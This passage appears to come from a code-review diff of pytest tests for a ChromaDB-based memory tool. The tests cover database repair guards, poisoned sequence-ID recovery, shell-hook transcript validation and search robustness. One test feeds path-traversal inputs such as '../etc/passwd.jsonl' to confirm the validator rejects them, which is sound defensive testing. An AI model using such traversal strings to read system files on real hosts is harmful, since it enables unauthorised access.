repair.check_extraction_safety(str(tmp_path), 10_000, confirm_truncation_ok=True)
def test_sqlite_drawer_count_returns_none_on_missing_file(tmp_path):
"""Palace dir exists but no chroma.sqlite3 → None, not crash."""
assert repair.sqlite_drawer_count(str(tmp_path)) is None
def test_sqlite_drawer_count_returns_none_on_unreadable_schema(tmp_path):
"""File exists but isn't a chromadb sqlite → None, not crash."""
sqlite_path = os.path.join(str(tmp_path), "chroma.sqlite3")
with open(sqlite_path, "wb") as f:
f.write(b"not a sqlite file at all")
assert repair.sqlite_drawer_count(str(tmp_path)) is None
@patch("mempalace.repair.shutil")
@patch("mempalace.repair.ChromaBackend")
def test_rebuild_index_aborts_on_truncation_signal(mock_backend_cls, mock_shutil, tmp_path):
"""rebuild_index honors the safety guard: SQLite says 67k, get() returns
10k → no delete_collection, no upsert, no backup."""
mock_backend = MagicMock()
mock_col = MagicMock()
mock_col.count.return_value = 10_000
# Single page comes back with 10_000 ids
mock_col.get.side_effect = [
{
"ids": [f"id{i}" for i in range(10_000)],
"documents": ["x"] * 10_000,
"metadatas": [{}] * 10_000,
},
{"ids": [], "documents": [], "metadatas": []},
]
mock_backend.get_collection.return_value = mock_col
mock_backend_cls.return_value = mock_backend
with patch("mempalace.repair.sqlite_drawer_count", return_value=67_580):
repair.rebuild_index(palace_path=str(tmp_path))
# Guard fired: nothing destructive happened
mock_backend.delete_collection.assert_not_called()
mock_backend.create_collection.assert_not_called()
mock_shutil.copy2.assert_not_called()
@patch("mempalace.repair.shutil")
@patch("mempalace.repair.ChromaBackend")
def test_rebuild_index_proceeds_with_override(mock_backend_cls, mock_shutil, tmp_path):
"""Override flag lets repair proceed even when the guard would fire."""
mock_backend = MagicMock()
mock_col = MagicMock()
mock_col.count.return_value = 10_000
mock_col.get.side_effect = [
{
"ids": [f"id{i}" for i in range(10_000)],
"documents": ["x"] * 10_000,
"metadatas": [{}] * 10_000,
},
{"ids": [], "documents": [], "metadatas": []},
]
mock_new_col = MagicMock()
mock_backend.get_collection.return_value = mock_col
mock_backend.create_collection.return_value = mock_new_col
mock_backend_cls.return_value = mock_backend
with patch("mempalace.repair.sqlite_drawer_count", return_value=67_580):
repair.rebuild_index(palace_path=str(tmp_path), confirm_truncation_ok=True)
mock_backend.delete_collection.assert_called_once()
mock_backend.create_collection.assert_called_once()
mock_new_col.upsert.assert_called()
# ── repair_max_seq_id ─────────────────────────────────────────────────
# Realistic poisoned values from the 2026-04-20 incident — from the sysdb-10
# b'\x11\x11' + 6 ASCII digit format being misread as big-endian u64.
_POISON_VAL = 1_229_822_654_365_970_487
def _seed_poisoned_max_seq_id(
palace_path: str,
*,
drawers_meta_max: int = 502607,
closets_meta_max: int = 501418,
drawers_vec_poison: int = _POISON_VAL,
drawers_meta_poison: int = _POISON_VAL + 1,
closets_vec_poison: int = _POISON_VAL + 2,
closets_meta_poison: int = _POISON_VAL + 3,
):
"""Build a minimal palace with poisoned max_seq_id rows.
Returns a dict with segment UUIDs and the expected clean values.
"""
os.makedirs(palace_path, exist_ok=True)
db_path = os.path.join(palace_path, "chroma.sqlite3")
drawers_coll = "coll-drawers-0000-1111-2222-333344445555"
closets_coll = "coll-closets-0000-1111-2222-333344445555"
drawers_vec = "seg-drawers-vec-0000-1111-2222-333344445555"
drawers_meta = "seg-drawers-meta-0000-1111-2222-33334444555"
closets_vec = "seg-closets-vec-0000-1111-2222-333344445555"
closets_meta = "seg-closets-meta-0000-1111-2222-33334444555"
conn = sqlite3.connect(db_path)
conn.executescript(
"""
CREATE TABLE segments(
id TEXT PRIMARY KEY, type TEXT, scope TEXT, collection TEXT
);
CREATE TABLE max_seq_id(segment_id TEXT PRIMARY KEY, seq_id);
CREATE TABLE embeddings(
id INTEGER PRIMARY KEY AUTOINCREMENT,
segment_id TEXT,
embedding_id TEXT,
seq_id
);
CREATE TABLE embeddings_queue(seq_id INTEGER PRIMARY KEY, topic TEXT, id TEXT);
CREATE TABLE collection_metadata(collection_id TEXT, key TEXT, str_value TEXT);
"""
)
conn.executemany(
"INSERT INTO segments VALUES (?, ?, ?, ?)",
[
(drawers_vec, "urn:vector", "VECTOR", drawers_coll),
(drawers_meta, "urn:metadata", "METADATA", drawers_coll),
(closets_vec, "urn:vector", "VECTOR", closets_coll),
(closets_meta, "urn:metadata", "METADATA", closets_coll),
],
)
conn.executemany(
"INSERT INTO max_seq_id(segment_id, seq_id) VALUES (?, ?)",
[
(drawers_vec, drawers_vec_poison),
(drawers_meta, drawers_meta_poison),
(closets_vec, closets_vec_poison),
(closets_meta, closets_meta_poison),
],
)
# Populate embeddings so the collection-MAX heuristic has data to work with.
# drawers METADATA owns the max at drawers_meta_max; closets likewise.
for i in range(1, drawers_meta_max + 1, max(drawers_meta_max // 5, 1)):
conn.execute(
"INSERT INTO embeddings(segment_id, embedding_id, seq_id) VALUES (?, ?, ?)",
(drawers_meta, f"d-{i}", i),
)
conn.execute(
"INSERT INTO embeddings(segment_id, embedding_id, seq_id) VALUES (?, ?, ?)",
(drawers_meta, "d-max", drawers_meta_max),
)
for i in range(1, closets_meta_max + 1, max(closets_meta_max // 5, 1)):
conn.execute(
"INSERT INTO embeddings(segment_id, embedding_id, seq_id) VALUES (?, ?, ?)",
(closets_meta, f"c-{i}", i),
)
conn.execute(
"INSERT INTO embeddings(segment_id, embedding_id, seq_id) VALUES (?, ?, ?)",
(closets_meta, "c-max", closets_meta_max),
)
conn.commit()
conn.close()
return {
"drawers_vec": drawers_vec,
"drawers_meta": drawers_meta,
"closets_vec": closets_vec,
"closets_meta": closets_meta,
"drawers_meta_max": drawers_meta_max,
"closets_meta_max": closets_meta_max,
"poisoned_values": {
drawers_vec: drawers_vec_poison,
drawers_meta: drawers_meta_poison,
closets_vec: closets_vec_poison,
closets_meta: closets_meta_poison,
},
}
def test_max_seq_id_detects_poison_rows(tmp_path):
palace = str(tmp_path / "palace")
seg = _seed_poisoned_max_seq_id(palace)
db_path = os.path.join(palace, "chroma.sqlite3")
# Add one clean row to confirm the threshold actually filters.
with sqlite3.connect(db_path) as conn:
conn.execute(
"INSERT INTO segments VALUES ('seg-clean', 'urn:vector', 'VECTOR', 'coll-clean')"
)
conn.execute("INSERT INTO max_seq_id VALUES ('seg-clean', 1234)")
conn.commit()
found = repair._detect_poisoned_max_seq_ids(db_path)
ids = {sid for sid, _ in found}
assert ids == {
seg["drawers_vec"],
seg["drawers_meta"],
seg["closets_vec"],
seg["closets_meta"],
}
for sid, val in found:
assert val > repair.MAX_SEQ_ID_SANITY_THRESHOLD
assert "seg-clean" not in ids
def test_max_seq_id_heuristic_uses_collection_max(tmp_path):
palace = str(tmp_path / "palace")
seg = _seed_poisoned_max_seq_id(palace)
result = repair.repair_max_seq_id(palace, dry_run=True)
# Both drawers segments (VECTOR + METADATA) get the drawers collection max.
assert result["after"][seg["drawers_vec"]] == seg["drawers_meta_max"]
assert result["after"][seg["drawers_meta"]] == seg["drawers_meta_max"]
# Both closets segments get the closets collection max.
assert result["after"][seg["closets_vec"]] == seg["closets_meta_max"]
assert result["after"][seg["closets_meta"]] == seg["closets_meta_max"]
def test_max_seq_id_from_sidecar_exact_restore(tmp_path):
palace = str(tmp_path / "palace")
seg = _seed_poisoned_max_seq_id(palace)
# Craft a sidecar with known clean values that differ from the heuristic's
# collection-max, so we can prove the sidecar path is preferred.
sidecar_path = str(tmp_path / "chroma.sqlite3.sidecar")
clean = {
seg["drawers_vec"]: 499001,
seg["drawers_meta"]: 499002,
seg["closets_vec"]: 498001,
seg["closets_meta"]: 498002,
}
with sqlite3.connect(sidecar_path) as conn:
conn.execute("CREATE TABLE max_seq_id(segment_id TEXT PRIMARY KEY, seq_id INTEGER)")
conn.executemany(
"INSERT INTO max_seq_id VALUES (?, ?)",
list(clean.items()),
)
conn.commit()
result = repair.repair_max_seq_id(palace, from_sidecar=sidecar_path, assume_yes=True)
assert result["segment_repaired"]
db_path = os.path.join(palace, "chroma.sqlite3")
with sqlite3.connect(db_path) as conn:
rows = dict(conn.execute("SELECT segment_id, seq_id FROM max_seq_id").fetchall())
for sid, val in clean.items():
assert rows[sid] == val
def test_max_seq_id_dry_run_no_mutation(tmp_path):
palace = str(tmp_path / "palace")
seg = _seed_poisoned_max_seq_id(palace)
db_path = os.path.join(palace, "chroma.sqlite3")
with sqlite3.connect(db_path) as conn:
before = dict(conn.execute("SELECT segment_id, seq_id FROM max_seq_id").fetchall())
result = repair.repair_max_seq_id(palace, dry_run=True)
assert result["dry_run"] is True
assert result["segment_repaired"] == []
with sqlite3.connect(db_path) as conn:
after = dict(conn.execute("SELECT segment_id, seq_id FROM max_seq_id").fetchall())
assert before == after
# Nothing dropped into the palace dir either (no backup on dry-run).
assert not any(fn.startswith("chroma.sqlite3.max-seq-id-backup-") for fn in os.listdir(palace))
assert seg["drawers_vec"] in before # sanity
def test_max_seq_id_segment_filter(tmp_path):
palace = str(tmp_path / "palace")
seg = _seed_poisoned_max_seq_id(palace)
result = repair.repair_max_seq_id(palace, segment=seg["drawers_meta"], assume_yes=True)
assert result["segment_repaired"] == [seg["drawers_meta"]]
db_path = os.path.join(palace, "chroma.sqlite3")
with sqlite3.connect(db_path) as conn:
rows = dict(conn.execute("SELECT segment_id, seq_id FROM max_seq_id").fetchall())
# Filtered segment is fixed; the other three remain poisoned.
assert rows[seg["drawers_meta"]] == seg["drawers_meta_max"]
for other in (seg["drawers_vec"], seg["closets_vec"], seg["closets_meta"]):
assert rows[other] > repair.MAX_SEQ_ID_SANITY_THRESHOLD
def test_max_seq_id_heuristic_decodes_blob_embeddings_seq_id(tmp_path):
"""`embeddings.seq_id` rows can be BLOB-typed on palaces where chromadb
1.5.x has been writing seq_ids natively (8-byte big-endian uint64).
`_compute_heuristic_seq_id` must decode those rather than crashing on
`int(bytes)` — the recovery feature is meaningless if it can't read
the storage format it was designed to repair.
"""
palace = str(tmp_path / "palace")
seg = _seed_poisoned_max_seq_id(palace)
db_path = os.path.join(palace, "chroma.sqlite3")
drawers_meta_max = seg["drawers_meta_max"]
blob_max = drawers_meta_max + 7
blob_value = blob_max.to_bytes(8, "big")
with sqlite3.connect(db_path) as conn:
conn.execute(
"INSERT INTO embeddings(segment_id, embedding_id, seq_id) VALUES (?, ?, ?)",
(seg["drawers_meta"], "d-blob-max", blob_value),
)
conn.commit()
result = repair.repair_max_seq_id(palace, dry_run=True)
assert result["after"][seg["drawers_vec"]] == blob_max
assert result["after"][seg["drawers_meta"]] == blob_max
def test_max_seq_id_no_poison_is_noop(tmp_path):
palace = str(tmp_path / "palace")
os.makedirs(palace)
db_path = os.path.join(palace, "chroma.sqlite3")
with sqlite3.connect(db_path) as conn:
conn.executescript(
"""
CREATE TABLE segments(
id TEXT PRIMARY KEY, type TEXT, scope TEXT, collection TEXT
);
CREATE TABLE max_seq_id(segment_id TEXT PRIMARY KEY, seq_id);
CREATE TABLE embeddings(
id INTEGER PRIMARY KEY AUTOINCREMENT,
segment_id TEXT, embedding_id TEXT, seq_id
);
INSERT INTO segments VALUES ('s1', 'urn:vector', 'VECTOR', 'coll');
INSERT INTO max_seq_id VALUES ('s1', 12345);
"""
)
conn.commit()
result = repair.repair_max_seq_id(palace, assume_yes=True)
assert result["segment_repaired"] == []
assert result["backup"] is None
with sqlite3.connect(db_path) as conn:
rows = dict(conn.execute("SELECT segment_id, seq_id FROM max_seq_id").fetchall())
assert rows == {"s1": 12345}
def test_max_seq_id_backup_created(tmp_path):
palace = str(tmp_path / "palace")
seg = _seed_poisoned_max_seq_id(palace)
result = repair.repair_max_seq_id(palace, assume_yes=True)
assert result["backup"] is not None
assert os.path.isfile(result["backup"])
with sqlite3.connect(result["backup"]) as conn:
rows = dict(conn.execute("SELECT segment_id, seq_id FROM max_seq_id").fetchall())
# Backup preserves the poisoned values from before the repair.
assert rows[seg["drawers_vec"]] == seg["poisoned_values"][seg["drawers_vec"]]
assert rows[seg["drawers_meta"]] == seg["poisoned_values"][seg["drawers_meta"]]
def test_max_seq_id_rollback_on_verification_failure(tmp_path, monkeypatch):
"""If the post-update detector still sees poison, raise and leave a backup."""
palace = str(tmp_path / "palace")
_seed_poisoned_max_seq_id(palace)
real_detect = repair._detect_poisoned_max_seq_ids
calls = {"n": 0}
def flaky_detect(*args, **kwargs):
calls["n"] += 1
# First call (pre-repair) returns the real set so the repair proceeds.
if calls["n"] == 1:
return real_detect(*args, **kwargs)
# Second call (post-repair verification) claims poison still exists.
return [("seg-fake-still-poisoned", repair.MAX_SEQ_ID_SANITY_THRESHOLD + 1)]
monkeypatch.setattr(repair, "_detect_poisoned_max_seq_ids", flaky_detect)
with pytest.raises(repair.MaxSeqIdVerificationError):
repair.repair_max_seq_id(palace, assume_yes=True)
# A backup file is still present — caller can roll back from it.
leftover = [fn for fn in os.listdir(palace) if "max-seq-id-backup-" in fn]
assert leftover
+82 -18
View File
@@ -9,6 +9,9 @@ Written BEFORE the fix.
"""
import os
import sys
import pytest
class TestSaveHookAutoMines:
@@ -16,7 +19,8 @@ class TestSaveHookAutoMines:
def test_hook_mines_transcript_path(self):
"""The hook receives TRANSCRIPT_PATH from Claude Code.
It should use that to mine the conversation, not depend on MEMPAL_DIR."""
It should use that to mine the conversation as --mode convos,
independently of MEMPAL_DIR (which is for project files only)."""
hook_path = os.path.join(
os.path.dirname(os.path.dirname(__file__)),
"hooks",
@@ -24,23 +28,17 @@ class TestSaveHookAutoMines:
)
src = open(hook_path).read()
# The hook ALREADY receives TRANSCRIPT_PATH in the JSON input.
# It should use this to mine the current session's transcript
# regardless of whether MEMPAL_DIR is set.
# The hook must have a path that uses TRANSCRIPT_PATH to determine
# what to mine, separate from the MEMPAL_DIR path.
uses_transcript = "TRANSCRIPT_PATH" in src
has_mine = "mempalace mine" in src
# TRANSCRIPT_PATH must appear in the mining logic, not just the parse block
transcript_drives_mine = "MINE_DIR" in src and "dirname" in src and "TRANSCRIPT_PATH" in src
assert uses_transcript and has_mine and transcript_drives_mine, (
"Save hook only mines when MEMPAL_DIR is set (defaults to empty). "
"The hook receives TRANSCRIPT_PATH from Claude Code — it should "
"mine that file automatically so conversations are saved without "
"the user setting an env var. Currently the hook says 'saved in "
"background' but nothing actually saves."
)
# The hook must drive the conversation mine off TRANSCRIPT_PATH,
# using `dirname` to derive the parent dir, and tagging it with
# `--mode convos` so the convo miner runs (not the projects miner).
assert "TRANSCRIPT_PATH" in src, "hook must read transcript_path"
assert "mempalace mine" in src, "hook must invoke `mempalace mine`"
assert (
'dirname "$TRANSCRIPT_PATH"' in src
), "hook must mine the transcript's parent directory"
assert (
"--mode convos" in src
), "transcript mine must use --mode convos, not the projects miner"
def test_mempal_dir_default_not_empty(self):
"""If MEMPAL_DIR is still used, it should have a sensible default,
@@ -66,3 +64,69 @@ class TestSaveHookAutoMines:
'MEMPAL_DIR defaults to "" which silently disables mining. '
"Either set a default path or add transcript-based mining."
)
class TestShellHookTranscriptValidation:
"""Both shell hooks must validate transcript paths before mining them.
Mirrors mempalace.hooks_cli._validate_transcript_path so unsafe paths
(no extension, traversal segments) are rejected at the shell layer
too — added in #1231 review (Copilot #7, #8).
"""
@staticmethod
def _hook_src(name: str) -> str:
path = os.path.join(os.path.dirname(os.path.dirname(__file__)), "hooks", name)
return open(path).read()
@staticmethod
def _strip_comments(src: str) -> str:
return "\n".join(line for line in src.splitlines() if not line.lstrip().startswith("#"))
def test_save_hook_defines_and_uses_validator(self):
src = self._strip_comments(self._hook_src("mempal_save_hook.sh"))
assert "is_valid_transcript_path() {" in src, "validator function must be defined"
assert (
'is_valid_transcript_path "$TRANSCRIPT_PATH"' in src
), "validator must be invoked against TRANSCRIPT_PATH before mining"
def test_precompact_hook_defines_and_uses_validator(self):
src = self._strip_comments(self._hook_src("mempal_precompact_hook.sh"))
assert "is_valid_transcript_path() {" in src, "validator function must be defined"
assert (
'is_valid_transcript_path "$TRANSCRIPT_PATH"' in src
), "validator must be invoked against TRANSCRIPT_PATH before mining"
@pytest.mark.skipif(
sys.platform == "win32",
reason="shell hooks are POSIX-only; Windows CI bash maps to wsl.exe with no distro",
)
def test_validators_run_via_bash(self, tmp_path):
"""Source the validator out of each hook and exercise it directly."""
import subprocess
for name in ("mempal_save_hook.sh", "mempal_precompact_hook.sh"):
src = self._hook_src(name)
# Extract just the function definition (first occurrence).
start = src.index("is_valid_transcript_path() {")
end = src.index("\n}\n", start) + 2
func_src = src[start:end]
script = tmp_path / "v.sh"
script.write_text(
f"{func_src}\n" 'is_valid_transcript_path "$1" && echo OK || echo NO\n'
)
def run(arg: str) -> str:
return subprocess.run(
["bash", str(script), arg],
capture_output=True,
text=True,
check=False,
).stdout.strip()
assert run("/tmp/sessions/abc.jsonl") == "OK"
assert run("/tmp/sessions/abc.json") == "OK"
assert run("") == "NO"
assert run("/tmp/notes.txt") == "NO"
assert run("../etc/passwd.jsonl") == "NO"
assert run("/tmp/../etc/t.jsonl") == "NO"
+181
View File
@@ -89,6 +89,75 @@ class TestSearchMemories:
assert result["filters"]["wing"] == "project"
assert result["filters"]["room"] == "backend"
def test_search_memories_handles_none_metadata(self):
"""API path: `None` entries in the drawer results' metadatas list must
fall back to the sentinel strings (wing/room 'unknown', source '?')
rather than raising `AttributeError: 'NoneType' object has no
attribute 'get'` while the rest of the result set renders."""
mock_col = MagicMock()
mock_col.query.return_value = {
"documents": [["first doc", "second doc"]],
"metadatas": [[{"source_file": "a.md", "wing": "w", "room": "r"}, None]],
"distances": [[0.1, 0.2]],
"ids": [["d1", "d2"]],
}
def mock_get_collection(path, create=False):
# First call: drawers. Second call: closets — raise so hybrid
# degrades to pure drawer search (the catch block covers it).
if not hasattr(mock_get_collection, "_called"):
mock_get_collection._called = True
return mock_col
raise RuntimeError("no closets")
with patch("mempalace.searcher.get_collection", side_effect=mock_get_collection):
result = search_memories("anything", "/fake/path")
assert "results" in result
assert len(result["results"]) == 2
# The None-metadata hit renders with sentinel values, not a crash.
none_hit = result["results"][1]
assert none_hit["text"] == "second doc"
assert none_hit["wing"] == "unknown"
assert none_hit["room"] == "unknown"
# ── BM25 internals: None / empty document safety ─────────────────────
class TestBM25NoneSafety:
"""Regression tests for the AttributeError observed in production when
Chroma returned ``None`` documents inside a hybrid-rerank pass.
Trace from the daemon log (2026-04-24 21:07:05):
File "mempalace/searcher.py", line 81, in _bm25_scores
tokenized = [_tokenize(d) for d in documents]
File "mempalace/searcher.py", line 52, in _tokenize
return _TOKEN_RE.findall(text.lower())
AttributeError: 'NoneType' object has no attribute 'lower'
"""
def test_tokenize_handles_none(self):
from mempalace.searcher import _tokenize
assert _tokenize(None) == []
def test_tokenize_handles_empty_string(self):
from mempalace.searcher import _tokenize
assert _tokenize("") == []
def test_bm25_scores_does_not_crash_on_none_documents(self):
"""A ``None`` mixed into the corpus must yield score 0.0 for that doc
and finite scores for the rest, not raise AttributeError."""
from mempalace.searcher import _bm25_scores
scores = _bm25_scores(
"postgres migration", ["postgres migration done", None, "kafka rebalance"]
)
assert len(scores) == 3
assert scores[1] == 0.0
assert scores[0] > 0.0
# ── search() (CLI print function) ─────────────────────────────────────
@@ -141,3 +210,115 @@ class TestSearchCLI:
captured = capsys.readouterr()
# Should have output with at least one result block
assert "[1]" in captured.out
def test_search_applies_bm25_hybrid_rerank(self, capsys):
"""CLI search must call the same hybrid rerank that the MCP path uses.
Regression for a bug where the CLI only consulted ChromaDB cosine
distance: a drawer whose body contained every query term still
scored zero similarity if its embedding happened to be far from
the query (e.g. the drawer was a shell-output fragment that
embeds as "file tree noise"). Hybrid rerank fixes this by
combining BM25 with cosine — lexical matches rise above pure
vector noise.
Simulates: three candidates, all with distance >= 1.0 (cosine = 0);
candidate 2 contains every query term. After the fix, candidate 2
should rank first and display a non-zero bm25 score.
"""
mock_col = MagicMock()
mock_col.metadata = {"hnsw:space": "cosine"}
mock_col.query.return_value = {
"documents": [
[
"unrelated directory listing -rw-rw-r-- file.txt",
"foo bar baz is a multi-word phrase",
"another unrelated chunk about colors",
]
],
"metadatas": [
[
{"source_file": "a.md", "wing": "w", "room": "r"},
{"source_file": "b.md", "wing": "w", "room": "r"},
{"source_file": "c.md", "wing": "w", "room": "r"},
]
],
"distances": [[1.5, 1.5, 1.5]],
}
with patch("mempalace.searcher.get_collection", return_value=mock_col):
search("foo bar baz", "/fake/path")
captured = capsys.readouterr()
first_block, _, _ = captured.out.partition("[2]")
# Lexical match must rank first
assert (
"b.md" in first_block
), f"expected lexical match 'b.md' at rank 1, got:\n{captured.out}"
# Non-zero bm25 reported
assert "bm25=" in first_block
assert "bm25=0.0" not in first_block
# Cosine still reported for transparency
assert "cosine=" in first_block
def test_search_warns_when_palace_uses_wrong_distance_metric(self, capsys):
"""Legacy palaces created without `hnsw:space=cosine` silently
use L2, which breaks similarity interpretation. CLI must warn
the user and point them at `mempalace repair` rather than
pretending the `Match` scores are meaningful."""
mock_col = MagicMock()
mock_col.metadata = {} # legacy: no hnsw:space set
mock_col.query.return_value = {
"documents": [["some drawer content"]],
"metadatas": [[{"source_file": "a.md", "wing": "w", "room": "r"}]],
"distances": [[1.2]],
}
with patch("mempalace.searcher.get_collection", return_value=mock_col):
search("anything", "/fake/path")
captured = capsys.readouterr()
assert "mempalace repair" in captured.err
assert "cosine" in captured.err.lower()
def test_search_does_not_warn_when_palace_is_correctly_configured(self, capsys):
mock_col = MagicMock()
mock_col.metadata = {"hnsw:space": "cosine"}
mock_col.query.return_value = {
"documents": [["some drawer content"]],
"metadatas": [[{"source_file": "a.md", "wing": "w", "room": "r"}]],
"distances": [[0.3]],
}
with patch("mempalace.searcher.get_collection", return_value=mock_col):
search("anything", "/fake/path")
captured = capsys.readouterr()
assert "mempalace repair" not in captured.err
def test_search_handles_none_metadata_without_crash(self, palace_path, capsys):
"""ChromaDB can return `None` entries in the metadatas list when a
drawer has no metadata. The CLI print path must not crash on them
mid-render — it used to raise `AttributeError: 'NoneType' object has
no attribute 'get'` after printing earlier results."""
mock_col = MagicMock()
mock_col.query.return_value = {
"documents": [["first doc", "second doc"]],
"metadatas": [[{"source_file": "a.md", "wing": "w", "room": "r"}, None]],
"distances": [[0.1, 0.2]],
}
with patch("mempalace.searcher.get_collection", return_value=mock_col):
search("anything", "/fake/path")
captured = capsys.readouterr()
assert "[1]" in captured.out
assert "[2]" in captured.out
# Second result renders with fallback '?' values instead of crashing
assert "second doc" in captured.out
def test_search_handles_none_document_without_crash(self, capsys):
mock_col = MagicMock()
mock_col.metadata = {"hnsw:space": "cosine"}
mock_col.query.return_value = {
"documents": [["first doc", None]],
"metadatas": [[{"source_file": "a.md", "wing": "w", "room": "r"}, None]],
"distances": [[0.1, 0.2]],
}
with patch("mempalace.searcher.get_collection", return_value=mock_col):
search("anything", "/fake/path")
captured = capsys.readouterr()
assert "[1]" in captured.out
assert "[2]" in captured.out

Some files were not shown because too many files have changed in this diff Show More